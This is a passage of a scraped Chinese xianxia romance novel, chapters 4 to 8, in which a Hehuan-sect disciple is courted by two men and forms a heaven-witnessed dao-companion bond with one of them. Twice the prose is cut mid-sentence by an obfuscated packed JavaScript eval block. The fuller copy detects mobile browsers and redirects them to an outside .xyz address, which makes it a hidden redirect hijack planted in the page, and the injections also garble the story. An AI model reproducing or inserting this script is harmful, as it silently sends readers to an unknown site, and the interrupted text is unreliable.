那一瞬间,岑竹脸上的诧异之色没来得及掩饰,就被一眼看来的齐飞墨尽收眼底。 他很快低头,垂下长睫,敛去了眼底所有情绪。 温言上前,向岑竹介绍了一下齐飞墨:“他是我故人之徒,因受伤在此暂住三日。” 然后又同齐飞墨指了指岑竹:“方才同你介绍过,岑竹。他伤得比较重,还没能痊愈。” 她平静地看着两人:“后院只有一间客房,委屈你们了。” 岑竹语调温和:“不委屈的,但凭温姑娘安排。” 听到这种特殊的称谓,齐飞墨瞬间抬眼,目光凌厉,难以抑制地产生了些许危机感。 见温言转身看向自己,他竭力将心底异样的感觉强压下去,勉强一笑:“没关系的,我都可以的。” 一闪而过的勉强被身旁之人察觉,她却会错意,以为他的伤又疼了。 “治伤之事不宜久拖。“温言摁着齐飞墨在椅子上坐下,伸手一挥,灵光闪烁,满满一桌的瓶瓶罐罐和纱布银针,都是行医所用。 “我现在为你治疗,你配合一点。” 她顺势在齐飞墨身前坐下。 却见他目光直直朝向岑竹,心神不定。她旋即起身拉开了两人之间的一道帘幕。 而后对齐飞墨加重了些语气:“不要分心。” 男人轮廓分明的脸上忽然露出一丝笑容,神色专注地看来:“温姑娘请。” 齐飞墨的伤口非常分散,他隔着衣服,大概给温言指了指伤口所在。 除却手臂上那条可怖的伤痕与火毒外,脖颈后还有长长的一道,以及在大腿外侧的最后一小处。 温言微微侧身,伸手搭上他的肩侧,仔细看了看他的反应。 果不其然,耳朵尖已经红透了。 “我来,还是你自己动手?” 齐飞墨的声音有些颤抖,却意外果决:“没事,我肩膀疼,你来吧。” 温言一眼看破。 哪里没事?分明是有事的样子,强撑罢了。 但岑竹还在,她到底给齐飞墨留了些面子。 腰带摩擦的声音响起,衣袖被拉下半幅,动作间温言不小心碰到了他的手臂,齐飞墨瞬间睁大了眼睛,倒吸一口凉气。 趁着凝霜丹起了药效,温言用灵力辅助,顺势他逼出手臂上的全部火毒,清完余毒后再用纱布一层层缠绕包扎。 两人之间距离近在咫尺,齐飞墨胸口起伏,滚烫的呼吸打在温言手背上,连周围的空气都仿佛焦灼了起来。 温言心头也弥漫起一股难以言喻的焦躁。 她感觉自己像是热源,只要靠近一点,齐飞墨就会难以抑制地变热变烫,直至熟透。 可他们明明第一次见面。 除却已经包扎完毕的胳膊,还有两道伤口没有给他治疗。还是在脖颈后以及大腿外侧的两处敏感地方。 桑纯真是给她留下一个好麻烦的烫手山芋。 温言忍不住握手成拳,捏紧了指骨。 像是看出她的为难,齐飞墨用已经包扎完毕的那只手掀开了衣襟,露出肌理紧实的小麦色后背。 脖颈后的伤处清晰可见。 虽然齐飞墨脸上依旧滚烫,逼出火毒后,行动上已经自如了许多。 他温顺地低了头,露出脆弱的颈部:“这里,麻烦温姑娘了。” 那副神情,像是交付了全部信任后,温顺伏于膝上的猛兽, 温言心中一跳,抿了抿唇,撩开了齐飞墨垂坠于身后的一头乌发,随后默默加快了速度,飞快地用纱布缠好并打结,最后擦了擦手,长吁一口气,心中如释重负。 “好了,只剩下腿部那处的伤口。这个给你……” “嗯,外袍还没穿,等我一下。” 温言手肘撑在桌面,指尖抵着下巴,百无聊赖地等着齐飞墨整理好衣裳。 却见帘幕微动,流苏轻晃,其后现出一道人影。 岑竹一身素衣,绾了个简单的发髻。他拨开一小片纱帘,往旁边走去,抬手挂在银钩处。 指节匀称白皙,动作赏心悦目。 他眉眼含笑,言语熟稔:“这么久了,温姑娘这儿还没结束吗?” 温言看见是他,唇角微弯,却又很快皱起了眉:“你身体还没恢复,怎么不多休息一会?” 岑竹对着温言笑意温柔,如春风拂面:“你之前也说了,要适当活动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温言本打算帮齐飞墨换完药后,再帮岑竹一并换完。没料到他们仿佛达成了某个协议一般,准备将全部事务包揽。 她的目光在他们之间逡巡了几个来回,压下心头的狐疑:“好吧,恰好这两日我有事要忙,你们别忘了时辰,另外涂药时仔细些。” ———— 在温言许可下,两名小厮合力将新买的床铺搬进了客房。 一应物品安置妥当后,她打了个呵欠,带着俩小厮去院子前的铺子里忙了,留下一张崭新的床铺,干净的被褥。 以及两个面面相觑的男人。 齐飞墨拧眉看了眼岑竹:“你师承何处,修为怎会如此不济?又为何蓄意靠近她。” 虽然没点出名字,岑竹仍心知肚明——齐飞墨以为自己接近温言是别有居心。 他被温言所救原本就是个意外。 别有居心是误解,但接近温言却是事实,他敢作敢当。至于修为,他身份特殊,本就不能以常理揣度。 因此岑竹轻笑一声,并不回答。 但在齐飞墨眼中,这声轻笑却明显变了性质。 齐飞墨见过温言站在高处的模样,如今再次相见,有激动欣喜,但更多的是怅然。 他资质上佳,但修炼勤恳,如今已是筑基中期,即将突破后期。 温言虽资质出众,当初十日筑基圆满一骑绝尘。但一直停留在筑基大圆满,迟早会被更多的天才所赶超。 说到底,修真界还是实力为尊。 岑竹一个筑基初期,却恬不知耻地对温言起了心思,如此修为,只会拖累温言,他必须阻止。 齐飞墨下了定论:“你不能喜欢温姑娘。” 岑竹虽不屑于向齐飞墨解释,但还是被这句话引出了些火气。 唤温言为温姑娘,给人的感觉上比温修士少了两分冷硬,多了三分缠绵,岑竹不喜欢别人也这么用。 ——会显得自己的心思昭然若揭。 他反唇相讥: “你是不是管得太宽了些。“ ”……而且,你才与她相处多久,温姑娘是你能叫的吗?” 5. 第 5 章 平日里这个时候,温言还在后院忙碌,今日却提前回来抱着一杯茶在发呆,怎么看怎么奇怪。 管家有些担心地上前询问情况。 温言只是摆摆手道:“无事。” 而后放下手中的空茶杯,缓缓走到摆放在店内的凝霜丹前。 丹药上覆盖着一层如霜雪般的结晶,在光线的流转下美轮美奂。 原本的三颗,如今只剩下一颗。 可温言想要钓上来的道侣,连个影子都没有。 她趴在桌上,有些闷闷不乐。 管家注意到她的情绪,放下手中的账本,脚步很轻地走过来,坐到温言的身边。 “大小姐是遇到什么不开心的事了吗?” 温言露出半张脸来:“只不过有些事我以为能做好,努力之后却是徒劳无功,有些挫败罢了。” 管家眉峰蹙起,眸色锐利:“您指的是?” 温言不可能将自己的计划和盘托出,但心烦意乱之下还是寻了个借口。 “可能是因为后院一下子多了很多人,我不太习惯吧。” 管家闻言,眉心沟壑舒展了起来:“大小姐原来在担心这个,难道您还未发现他们的心思?” 温言不太理解:“……什么?” “爱慕之意。”管家说完后又笑眯眯地加了一句,“其实不用烦恼,您无论做出任何选择,他们都会接受的。” “……?” ———— 客房里,齐飞墨睁着眼睛,翻来覆去,毫无睡意。 莹白的月色透窗洒入屋内,身下的新床有些小,稍不留神就会从床上滚下去;被褥很新也很软,但盖在身上有些热。 白日里他绝大多数时间都是与岑竹待在一间屋子里,相看两厌,尽管有一道帘幕将他与岑竹的床铺隔开,但彼此之间的硝烟气味却仍未消散。 但到了晚上,齐飞墨忍不住胡思乱想了些,心口处砰砰直跳,思绪纷乱,好不容易才强行压下心头悸动,合上眼睛。 天色微明。 齐飞墨已经轻手轻脚地起身,他看了一眼那道仍遮得严严实实的帘幕,走出房间时不忘关了门。 与此同时,睡在内间的岑竹悄无声息地睁开了眼睛。 齐飞墨动作娴熟地在灶房中做好了各式小菜,备好了粥品,还加了些点心,食物香气诱人,摆盘精致。 他将新做的食物仔细摆放在托盘内,捧在手中,往温言屋子的方向走去。 心中仍有些忐忑。 齐飞墨并不知道,他的身后一直有道潜在黑暗中的影子,专注地凝视着他的一举一动。 窗外晓日初升,初露曙光。 屋内,温言靠在软绵的枕头上,困倦地揉了揉眼睛。 于她来说,一夜乱梦,这一晚属实分外难熬。 忽闻门外轻敲两声。 温言换好衣裙,简单地簪起头发,打开门后,却发现不是来喊她起床的管家,而是端着盛满食物的盘子齐飞墨。 捧着的盘子里的早点样式丰富,看起来非常美味。 齐飞墨很快地扫了温言一眼,恰好看见她刚刚起床,眼中朦胧之色尚未散去。 又急忙别过脸去,目光朝下,好似有些不好意思。 温言有些诧异,但仍是赶忙后退一步,让他进屋落座。 等到两份早点摆满圆桌。 桌旁的两人,一个看着对方羞赧至极,另一个注意力被丰盛的菜品吸引得难舍难分。 温言仿佛发现了宝藏,眼睛闪闪发亮,语气难以置信:“这些,都是你做的?” 齐飞墨暗中捏着袖口,垂眸点头。 他将花朵形状的点心推至温言手边:“试试这个。” 温言取了一只,一口咬下。 酥脆的酥皮混合着芝麻的甜香,她露出满足的笑意:“没想到你的手艺这么好啊,这算是深藏不露吗?” 齐飞墨被她的笑容感染,语气轻快了许多:“其实我还担心做得不好,很久没做早点,手生了。” 温言摇头:“完全不会,是你对自己要求太高。对了,你也别只看着我,一起吃。” 齐飞墨含笑点头。 虽说修仙之人辟谷,但温言还是非常喜欢凡间的各色小吃。她料想是桑纯跟齐飞墨提过这件事,才有了他清早送早点这一幕。 “你其实不必客气,我……” 温言话说一半,便止了话音。 因为齐飞墨在同一时间说了另一句话,她差点丢了手中筷子。 他说:“我喜欢你。” 眸光熠熠,神色认真。 窗外树荫繁盛,草木清新,与此同时,隐于其中的一道黑影却微不可察地颤了颤。 昨夜缠绕了温言一夜的梦,终于在清早应验在眼前:管家的直觉还是太敏锐了些。 温言抬手扶额,微不可察地叹了口气,眼中还带着些不解。 齐飞墨从温言这样的反应中察觉到了什么,有些失落,还有些委屈。 “我想做你身边的那个人,不行吗?” “大概不行。”温言实话实说。 齐飞墨突然说这些,确实让她措手不及。 虽然找到道侣是温言一直在努力去做的事情,可她没有吃窝边草的打算,况且杀夫证道的宗门任务还在令牌中躺着。 齐飞墨出身尊贵,资质上佳,虽说性格耿直了些,但是个修仙的好苗子。 万一在她这里出了点事,要怎么和桑纯交代,怎么和他的宗门交代? 先前光是中了火毒,桑纯就已经为他东奔西走,红了眼眶了。 因此他们之间,绝无可能。 齐飞墨神色苦涩,仍不死心道:“为何不行?我想知道原因。” 温言思忖片刻,终是摇头,不发一言。 一切与宗门任务有关的事情,都属于合欢宗的机密。 齐飞墨起身,他逆着晨光,高大而沉默的身影笼罩住温言,不愿退让。 温言不由自主地收紧了手指。 拒绝的话就是这样,容易伤人,却于他有益。 她仰起头,并未留情:“你是内门被寄予希望的弟子,而我,如你所见,是个合欢宗的废物弟子,下山开店,终日闲散,无所事事。” “我们并不合适。” 这一席话有理有据,而且句句属实。 齐飞墨想要辩驳,张了张口,却低头苦笑了一声,端起桌上的托盘,转身离开。 第二日晚上,桑纯提前回来。 她面上挂着熟悉的温柔笑意,言谈举止一如往昔,还给温言带了好几包满满当当的吃食。 但温言心里清楚,提前赶回必定事出有因,而且很大可能是因为齐飞墨。 她让桑纯稍待片刻,而后去见了齐飞墨一面。 抵达客房时,正好岑竹不在屋内,唯有齐飞墨在独自弯 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他缓缓呼出一口气,脸上虽仍有些落寞,眼神却逐渐亮起了光彩:“希望今后的岁岁年年,都能与温姑娘见面。” 温言浅笑不语。 随着两道背影逐渐离开院落,屋内柜边的那道黑影忽然由浓转淡。 紫光闪烁间,那道黑影逐渐幻化出一个熟悉的侧影。 岑竹缓步走到齐飞墨整理完毕的床铺前,躬身拂去被面上的折痕, 他的动作流畅而优雅,完全看不出先前所受的重伤。 想到方才两人相见时所说的话,以及齐飞墨临走之前,温言对他许下的仿佛约定的那个承诺。 光影之中,他的表情冷沉,晦暗不明。 ———— 夜色如墨,万籁俱寂。 药铺门口,温言怀抱着几个硕大的包裹,脸上是满满的喜悦满足之色。 直到看着桑纯与齐飞墨的身影一并消失在沉沉的夜幕下,她才打烊关了店铺,往后院的方向走去。 刚好碰见过来寻她的岑竹。 岑竹手中提着一盏灯笼,远远看见温言,便停了脚步,脸上笑意真切。 他本就是少年模样,身形削薄,先前又卧床多日。可能出来得急了些,衣衫单薄,骤遇冷风时忍不住轻咳了几声。 如墨夜色下,仿佛风一吹就要倒了。 温言快步走到岑竹身边,帮他提了灯笼。岑竹则从容接过将温言手中的几个包裹,随着她往前走去。 两人身前的灯笼暖光莹莹,光影流转。 岑竹率先开口:“这么多包裹,倒不知温姑娘今日买了些什么。”他早已知晓这些是怎么回事,如今却明知故问,面上一派天真。 温言推门进屋,将那些包裹打开铺在桌面上,按照喜欢的程度排好次序,又从储物袋中找出几个木箱,用墨笔做了标记后将吃食全都收好。 再一挥手,那几个木箱已全都收进了储物袋。 温言坐在桌旁,指尖凭空一点,变出一包荷花酥,她伸手捏了一块递给岑竹。 “要尝一下吗?” 岑竹眨了眨眼,长睫仿佛蝶翼轻颤了两下,在接过那块荷花酥的时候,状似无意地碰了碰温言的手。 随后露出一个浅浅的笑:“要的。” 6. 第 6 章 手中的荷花酥看起来小巧精致。 花瓣向外绽开,花芯处一点粉红色,香气诱人,口味香甜。 岑竹平日里并不喜甜食,今日吃了一枚,倒还不错。随后温言也拈了一枚放入口中。 明明滋味很好,她却很轻地皱了皱眉。 岑竹敏锐地发现了她的表情变化:“怎么了?” 温言有些遗憾:“茶点有了,却没有一壶梅雪香茶配着,总觉得有些甜腻。” 被她一说,岑竹倒是有些好奇:“名字倒是好听,却不知这梅雪香茶源于何处?” “并非某处所产,而是我自制的,这次外出匆忙忘记随身带着了。”她颇有些遗憾。 岑竹细细地向温言讨教了梅雪香茶的制作方法,同时还提出了自己的一些建议。 温言眼前一亮,两人讨论了半日,还将方子的一些工艺与细节完善了不少。 接下来几日,岑竹早出晚归,不见人影,只有换药的时候才会准时出现。 每个人都有秘密,对此,温言并没有特意留意。 深夜。 温言新炼完一炉丹药,灵力消耗的颇多。 熄了丹炉,一时仍难以入眠,她推门信步走入庭院。 没想到深更半夜却听见灶房里传来异响。 温言立刻检查了院中的禁制,没发现任何未经允许闯入的痕迹。 于是敛息靠近,放出神识。 灶房里的一切确实不太对劲,烧得正旺的火上架着一口大铁锅,旁边沉默地立着一道人影。 那人一身中衣,手握铁锅木柄,鬓边汗水淋漓,精巧的面容在通红的灶火中若隐若现。 温言心中略定,原来是岑竹。 随着他来回翻炒的动作,锅中的白色花瓣以及碧色的叶片混于一处,被高高扬至半空,又纷纷落下。 温言才发现他在半夜偷偷潜入灶房,只是为了——炒茶?! 她默默解除了敛息术,指尖轻弹,灵火散开,周围瞬间亮如白昼。 随着门扉一声轻响,温言推开了灶房大门。 一片亮光中,岑竹停下了手中炒茶的动作,将锅内还冒着热气的花茶倒入茶盒内。 风过无痕,满室清香。 岑竹披上放在一旁的外袍,系好腰带,才将视线投向温言的方向。 灶房内并不宽敞,尽管两个人已站在一处,仍是颇为拥挤。 温言看着硕大的铁锅和站在锅前焦头烂额的岑竹,忍不住笑了:“其实你只要告诉我一声,灶房随便你用的。” ……何必半夜起来悄悄炒茶呢。 岑竹却目光直白,不避不让:“怎么办呢,准备好久的惊喜却被你提前发现了。” “那就再准备一个好了。”温言挑了挑眉。 岑竹伸手,这是个再明显不过的邀请姿势:“我还有一个新的惊喜,愿意让我陪你一起去吗?” 温言不置可否,最终还是伸出了手。她的手掌小巧,指节匀称,看着温润细腻,仿佛上好的瓷器。 岑竹第一次正大光明地碰到了温言。 触感有些冰凉,却让他难以抑制地颤抖起来。 ———— 一轮明月之下,温言跟着岑竹御风而行,大概一盏茶的时间,他停在了一座陌生的山头。 却并未在山脚多做停留,而是一路往上,往山腹而去。 “这里有什么?” 温言倒不担心岑竹对自己做什么,只是有些好奇,短时间内他又能准备什么惊喜。 前面的少年笑而不语,只加快了速度。洁白的衣袂随风翻飞,衬得他身形修长,风姿卓绝。 不多时,微凉夜风中忽然挟来一片白色的花瓣,香气悠悠,摄人心魄。 温言以灵力包裹住这片花瓣,随即放出神识查探四周,有些惊讶:“这是……梅花?” 岑竹点头,峰回路转间,眼前情景骤然开阔。 清朗月色下,落花纷飞,清香袭人。 花树下的地面莹白一片,仿佛刚刚落了一场雪。 岑竹随手摘下一枝梅花赠给温言:“不知道这算不算是新的惊喜?” 温言伸手接过,指尖拂过柔软馨香的花瓣,故意摇了摇头:“不算。” 岑竹正专注地看着温言,等待着答案。不料答案一出,他面上明朗的笑容就这么凝滞住了。 见他愣愣地与自己对视了好久,温言才噗嗤一笑,补齐了后半句。 “再加上方才的梅雪香茶才算。” 两人在月下花树下席地而坐,茶壶放在身侧,手中捧着玉杯,茶香透杯而出,清雅惬意。 温言忽然开口:“我救你只是顺手为之,并非要你报答。” 先前齐飞墨给温言送早点时,她也是这副口吻。 岑竹别过头不想听。 温言看着他闹脾气的模样有点新奇:“怎么了,不爱听的话,我就不说了。” 岑竹立刻服软,顺势转移话题:“其实还可以说些别的。” 她眨了眨眼,眼波流转:“比如?” 岑竹眸光闪动,颤了颤眼睫:“比如以后你若想吃什么,告诉我就好,我能给你做。” 温言瞥他一眼,手中捏着的花枝轻巧一转,忽然道:“是因为齐飞墨吗?” 他们曾共处一室,无论有什么动静,都瞒不过对方。 自然也包括齐飞墨为她做早点那件事。 岑竹目光定在手中握紧的玉杯上,声音有些低哑:“若我说有点,你会不会生气。” 温言语气很淡:“为何要怕我生气,是不愿寄人篱下?还是怕我将你赶走?” 少年像是被突然戳中了心事,有些羞恼地看了她一眼,随即转过身去。 却在背对之时,眼尾悄悄漫上胭脂般的红色。 被她猜中了。 可是,他确实……不想走了啊。 两人再回到院中,已是夜深人静。 温言关上门,摘了簪子,散落了肩头的长发,目光却落在不远处的茶盒上。 这个小物件是岑竹走前执意留在桌上的,里面是一个素色布袋,包着香气浓郁的梅雪香茶。 盒子看起来有些粗糙,没有任何的装饰,只安了一把可以开合的小巧锁扣,简单且朴素。 先前岑竹接过自己递去的那块荷花酥时,突如其来的触碰就引起了温言的警觉。 他不太对劲。 自从看了一趟月下梅花后,再送她回来时,岑竹更是不愿掩饰了。 临别时,他缓缓执起温言的手,饱满红润的唇印在她的指尖上,坚定而灼热。 再抬头时,那双漂亮的桃花眼中全都是她的倒影,闪闪亮亮的,仿佛 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但凡得了空闲他就在温言耳边碎碎念,简直把岑竹夸成了一朵人见人爱的花儿。 暮去朝来,每天都有很多的修士前来询问凝霜丹是否售卖,得到的却是统一的回复——缘分未到。 从这些修士里,温言没能挑出适合做道侣的人选。 倒是解毒丹的销量创了新记录,作为凝霜丹的替代品,卖得比以往更加火热了。 自下山后,温言除了感悟门派心法,巩固修为外,并未专注于修炼。 任务未完,心魔不破,修炼无用。 破局的关键,还是合欢宗的宗门任务。 ———— 一年后。 岑竹已经融入了药铺中,成为这里的一员。 少年时的他面容娇嫩,唇色鲜艳,还有不少客人误以为他是轮廓鲜明的女修。 但现在他站在铺子里,已经没人会错认了。远远看去,他长身玉立,双腿修长,自有一股让人难以忽视的气场。 今日天气晴好,温言带着玉盒去灵矿附近的山脉采摘灵药。 岑竹一如既往地跟在她的身边。 温言采摘的时候专挑药用部分,剩下的部分根本不理。 岑竹却只挑长得漂亮的灵草,从头到尾采下完整的一支,裁去多余叶片,最终制成一大捧花束。 然后满心欢喜地送到温言手中。 温言垂眸,目光落在手中精心搭配的花束上,神色难辨。 “已经过去一年了,你变了很多,但这性子却是……分毫未改。” 岑竹专注地看着温言,此刻长睫垂下,飞扬的眼尾勾的人心里痒痒的。 “我喜欢你这件事,也从未改变过,你一直知道的,温言。” 如今,他已经不叫她温姑娘了。 还有什么比直呼其名更显亲密直接呢? 岑竹笑了笑,又道:“还有一件事,不知道你有没有察觉。” 温言正蹲下身整理盛放灵药的玉盒,随口接了句:“什么事?” 岑竹话中带笑,语气轻松: “我想娶你。” 7. 第 7 章 “温言,我真的很喜欢你,想要娶你。” 这回,他缓慢地收了方才面上的笑意,神色紧张,眸中满是期待。 温言捏紧了手中盛着灵药的玉盒。 “我……” 她一时不知该如何回应。 一年前月下观梅,岑竹羞恼时眼尾的一抹嫣红仍历历在目,当晚,她思虑万千,一夜未眠。 岑竹的心思昭然若揭,那她自己呢? 当初齐飞墨横冲直撞地表白,她心无波澜,自然能快速决断。若那时岑竹也说喜欢她,她是不会信的。 但岑竹没有,而是换了另一种方式。 他步步为营,一点一点地拉近两人的距离,直至如今融入到她的生活之中,亲密无间,再不给她留下任何余地。 要么接受,要么离开。 她竟没有发现他是如此耐心又决绝的一个人。 温言立在原地,忽然有些明白。 ——原来,这就是自己所要面临的劫。 她摸了摸腰间的弟子令牌,像是终于下定了决心:“我需要一个道侣,你愿不愿意做我的道侣?” 岑竹明显愣了片刻,转瞬间脸上又漾起笑意:“你所说的道侣,是等同于人间的娶嫁之意吗,我觉得那样就很好。” 修士之间结为道侣需要得到天道的认可,若他偏向于人间的风俗,也并无不可。 温言点头:“可以依你喜欢的方式来。” 岑竹眉眼弯弯:“那我愿意的。” 听到这个消息后最高兴的当属老管家。 他两手一拍,激动地在药铺里转来转去:“我早说岑竹这孩子长得好,做事也踏实可靠,更难得的是,他还对你一心一意,百依百顺,你可要好好把握。” 温言随意点点头,走到专门存放凝霜丹的药柜前。 她双手结印,指尖轻点,解除了原本存于上面的禁制,而后拿出一只玉盒交给管家。 “这里是我新炼制的十枚凝霜丹,您之后用店内统一制式的药瓶装上封口,再放回这里就行。” 既然已经答应了岑竹,钓鱼所用的“饵”也不必继续存在了。 管家端详着着手中的玉盒,面露困惑:“这种丹药一直都有人前来问询,但您都推拒都说看缘分再定。” 这个药柜在铺子里一直都是特殊的存在,大小姐之前特意在在上面施展了仙术,还让店里的小厮都离远些,以免误伤。 如今怎么却…… “当时只看缘分,今时却不同往昔,我已经定好价格,少一颗灵石都不对外出售。” 她眼珠一转,随口胡诌:“其实我忽然发现自己炼丹水平突飞猛进,想着这种丹药需求量大,就多做了些,而且不日就要大婚了,现在得多赚些钱。” 管家一脸欣慰地笑着看着温言。 “好,好,成家立业,这才对嘛。” ———— 凝霜丹可以用灵石购买的消息不胫而走,店里忙得停不下来。 这日,岑竹在铺子里帮完忙后,却没看见温言身影。他与管家说了一声,便去了后院。 岑竹寻到她时,她正在纸上落下最后一笔。 察觉到有人进门,温言抬头看了他一眼,随后将手中的笔搁下,将那张刚刚写好的纸递了过来。 ——洒金红纸上墨迹未干,是她刚刚拟好的道侣契约。 岑竹并未先看那张递来的红纸,而是走近了一步,将温言额边垂下的一绺碎发别在耳后。 想必是方才低头写字,不经意滑了下来。 他掌心很热,靠近时热度也侵略性十足地传了过来,温言不太知道自己该给什么反应,愣愣地看着岑竹。 岑竹悄悄地碰了碰她腰后的发尾,又无声无息地收回了小心触碰的指尖,后退一步。 目光落在手中的洒金红纸上,脸上掠过一丝讶异之色。 在他的印象中,温言脸蛋素净,一双眼睛又大又圆,黑白分明,明明看似寻常,却总有一股说不出的灵气。 没想到写下的字迹竟是这样地冷厉肃杀,自成一派。 此刻温言则倚在桌边,百无聊赖地玩着头发。 即将结为道侣的两人在天道见证时互许的誓言,就是道侣契约。 所以在见证之前,温言先挑了些看得顺眼的海誓山盟写了一张纸,算是提前做个准备。 “这张道侣契约给你,天道见证时用得上。” 道侣契约这种事,并非口头说说就能算数的。 先要互相交换道侣契约,再于誓言石上刻下彼此名字,最后举办道侣大典互许终身,在天道见证下真正结为了道侣。 才会被宗门任务认可。 到那时,才算真正完成了任务的第一步 ——找到道侣。 “那我也给你写一份好了。” 岑竹流畅地写完一张递给温言,其上用词大胆奔放,与温言的含蓄谨慎对比鲜明。 他红润的唇角微勾,看着心情不错的模样,配着那双水光湛湛的眸子,分外赏心悦目。 温言斜睨了他一眼。 岑竹让她在天道见证时默读这种艳词,显然心思不纯。 温言利落地收起红纸,不欲同他计较,拉着他的衣袖往外走去。 两人置身于陌生而热闹的集市之中,身边人声喧闹,车水马龙。温言闲庭信步地去了一个陌生的摊位,岑竹紧跟其后。 铺面不大,里面成双成对的修士倒是挺多。 岑竹有些奇怪:“怎么突然来这里?” 温言回答道:“为了誓言石。” 不同的誓言石所标的价格不同。 放在精致展柜中的那些誓言石纯度高、纹路细腻,更容易与天道共感,价格也同样高得令人咋舌。 这些展柜前并没有太多人,大多是来看个热闹。 而那些随随便便放在简易木柜上,甚至摆在地面布料上的原石,在价格上就亲和了许多,还能和摊主砍点价。 便宜的誓言石缺点是杂质较多,难以顺利感应天道,除非两人情比金坚,否则天道见证极易失败。 热恋的修士会互送誓言石作为定情信物以证相思。 但只有一种情形下,才会在上面刻下名字——请求天道见证的时候。 若能在誓言石上刻下名字,就代表着顺利得到天道认可,并自此结为道侣。 对于修行之人来说,与天道相关的事情是非常严肃认真的一件事情,需要深思熟虑,以求周全。 温言却很随意地在简陋木柜上取了一个紫色的誓言石。 岑竹压下她的手,掌心滚烫灼热:“这个不行,太便宜了。” 他的声音比平日里低哑许多,声音酥痒,温言忍不住将他推远了些。 “但很漂亮不是吗?” 她的手指抚摸过誓言石上的纹理,“这种紫色非常特别,让我想到了瑰丽又易碎的梦境。” 这块石头确实很美, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602854|172045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很容易勾起人识海深处的微小想法。那一瞬间,他想起了魔域天空下,在风中缓缓绽开的冥萱花。 岑竹岑竹无法反驳,终究让步。 温言拿起石头,径直上前去找摊主。 经过一番你来我往的讨价还价,她终于谈了个满意的价格,爽快地付了灵石,回去找岑竹。 岑竹回想起摊主的提醒:“可是誓约石需要两块。” 誓言石通常是男修这方买了赠予给心仪的女修,温言不但少买了一块,在付灵石一事上更是完全不准他插手,岑竹有种角色调换的不适应。 温言捏着誓言石在手心里把玩,闻言点头:“是两块。” 她将紫色原石放在掌心,出手如电,挥出的一道灵刃几乎看不到灵力痕迹,却听清脆的一声,原石从中裂开,一分为二。 灵刃挥向之处,仍是光滑细腻的皮肤,没有被伤到分毫。 岑竹在灵力修炼上并不高深,却也能看出温言对灵力的掌控已经到了非常恐怖的程度。 她握住石头在手中搓搓磨磨,最终将大小不一的两块打磨成了一样大小的玉佩形状,还买了了挂绳和流苏穿上。 温言拿起其中一块放到岑竹的手里,神色略带得意:“你看,刚好两块,喜欢不喜欢?” 心上人亲手做出的两块一模一样的誓言石,怎么可能不喜欢。 岑竹的心里像是点了一场盛大的烟火,一时觉得过于绚烂,一时又觉得过于美好反而不够真实。 温言安静地呆在他的身侧,低头分出一丝灵力,在誓言石上刻下自己的名字。 等到她刻完最后一笔,吹开碎屑后,刻下名字的地方开始由内向外散发出明亮的白光。 岑竹也凝出灵力仔细刻字。 但吹开碎屑后,誓言石的光芒却没有温言的那么明亮,不但看起来有些晦暗不明,甚至快要熄灭了。 岑竹心知魔族的血脉影响到了天道认可。 他将契约石托在掌心,虔诚默念互许终身的誓词,并暗中激发更多灵力催动。 只能勉力一试,若真的失败,还是劝温言买贵一些的誓言石吧。 没想到石头上的光芒明灭了一瞬,忽然比之前亮了许多,彼此之间开始产生了细微的共感。 在绚烂的晚霞中,两枚散发着淡紫色光芒的石头散发出莹润的光芒,交相辉映,有红色丝线从中延伸,交缠重叠,最后又消失在誓约石的纹理之间。 天降华光,将他们笼罩其中。 光芒温暖而明亮,是天道降下的祝福,也是见证。 岑竹将刻着自己名字的石头递给温言,顺手抽走了她的那块,无比仔细地系在自己腰间。 他自然而然环住温言的腰,将她带入自己怀中,手掌一点点地收紧,带着不容拒绝的意味,仿佛实现了长久以来的夙愿。 温热的呼吸划过温言的耳畔,她情不自禁地屏住了呼吸。 岑竹的唇轻轻擦过她的耳廓,而后轻笑:“天道见证完毕,你可不能再反悔了。” ———— 宗门任务给出的任务提示是“杀夫证道”。 自宗门任务与弟子令牌绑定后,其中所发生任何变化温言都能随时感知到。 而在方才,温言的灵识第一次感知到了卷轴的变化。 绘于卷轴中那支开得极盛的合欢花,竟如活物一般,自枝头落下了一朵,悬于半空,自此定格。 画中的九朵合欢花,如今只剩下八朵。 8. 第 8 章 落日下沉,余晖散尽。 温言得到这个重大发现,心中震动,不自觉地停下了脚步。 她想到方才获得的天道认可,最终确定了自己的猜想: 合欢花落,意味着任务有了新的进展。 那若是九朵合欢花全都落下呢? 沉默片刻,她忽然拽了拽身旁之人的衣袖,扬唇微笑:“夫君先前是不是说过,想要按照凡间婚嫁习俗置办道侣大典?” 岑竹第一次听见她这样唤自己,脸上有一瞬间的诧异,随后眼中笑意弥漫。 他对这样的叫法接受地非常迅速:“是,不过我都听夫人的安排。” 两人顺便逛了很多的铺子,将大婚所需要的物品一并买了。 明月高悬,繁星满天。 街边人影寥落,温言心满意足地往回走。 岑竹面带笑意,跟在她的身后提着大包小包,甘之如饴。 他适时问道:“不知先前在天道见证下,夫人所许的是哪句誓言?” 像是怕打扰到静谧的夜晚,他刻意放低了声音,声线仿佛丝线般温柔缱绻,将人层层缠绕,直至密不可分。 温言本就是合欢宗弟子,宗内各种秘术不说精通,至少也称得上有所领略。 但此刻听到他的声音总觉得酥酥麻麻,连耳朵都有些痒意,她不动声色地往旁边偏了一步,稍微与岑竹拉开了些距离。 “我挑了‘琴瑟在御,莫不静好’。如此,夫君可还满意?” 明月清辉下,岑竹含笑看过来:“愿得一心人,白头不相离。”视线相碰的瞬间,仿佛无数丝线缠绕交织。 他们之间分明隔着一段距离,气氛却陡然有些不受控制,暧昧无比。 温言深吸了口气,抬手扶额,转移话题:“既然事情都已办完,那我们快些回去。” 话音未落,她脚尖点地,迅捷地跃上一只宝光四溢的折扇。 颇有些落荒而逃的意味。 